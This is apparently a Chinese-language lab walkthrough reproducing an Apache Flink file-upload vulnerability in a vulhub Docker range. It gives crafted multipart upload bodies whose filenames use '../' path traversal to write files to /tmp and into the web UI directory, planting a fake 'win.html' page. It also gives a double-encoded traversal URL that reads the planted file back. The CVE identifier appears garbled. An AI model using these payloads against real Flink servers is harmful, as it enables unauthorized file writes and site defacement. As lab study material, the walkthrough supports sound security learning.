Apache Fink 文件上传漏洞复现
打开vulhub靶场,输入命令
cd flink/CVE--17519
sudo docker-compose up -d
sudo docker-compose ps
登录靶场网页http://靶场IP:8081,然后在Submit New job处发现有上传点,f12查看网络数据包,然后上传任意文件
随后可以看到网页POST一个数据包,数据包中的文件,右键点击重发,然后可以看到数据包中内容
boundary是分隔符,不用关注,查看到其fliname应该就是文件的名称,其创建文件的路径猜测是其默认文件路径的xxx/xxx/jars/upload/test.jar,如果他没有在这个fliname处进行检查或者强制规定的路径,而是使用类似touch xxx/xxx/jars/upload/test.jar
这样的直接创建文件的命令,我们可以通过修改fliname,令其命令达到类似touch xxx/xxx/jars/upload/../../../../../../../tmp/test.jar
的效果,所以我们修改消息体内容为
Content-Type: application/octet-stream 是让文件默认为字节流,浏览器处理这种类型的文件默认是下载,我们要显示他,所以要把它删掉
-----------------------------160778796920884667481441541505Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/test"123456789-----------------------------160778796920884667481441541505--
其它不修改,然后点击发送,因为该版本的 Apache Flink 中存在有一个目录穿越漏洞,详细内容在/Tauil/article/details/125930144,我们可以使用该漏洞查看我们创建的内容
输入URL:
http://靶机IP:8081/jobmanager/logs/…%252f…%252f…%252f…%252f…%252f…%252ftmp%252ftest
Apache Fink 文件上传漏洞利用
这时我们可以在Job Manager中发现该网页文件地址
网页图形界面一般为xxx+xxx+ui现在我们知道了他的命名格式是flink-web-xxx,所以猜测该网页文件地址应该是在tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui
修改数据包为
-----------------------------160778796920884667481441541505Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui/win.html"<h1>Congratulations</h1><a href="">Click here to get one hundred dollers</a> -----------------------------160778796920884667481441541505--
发送后输入URL:http://靶机IP:8081/win.html即可访问我们写入的网页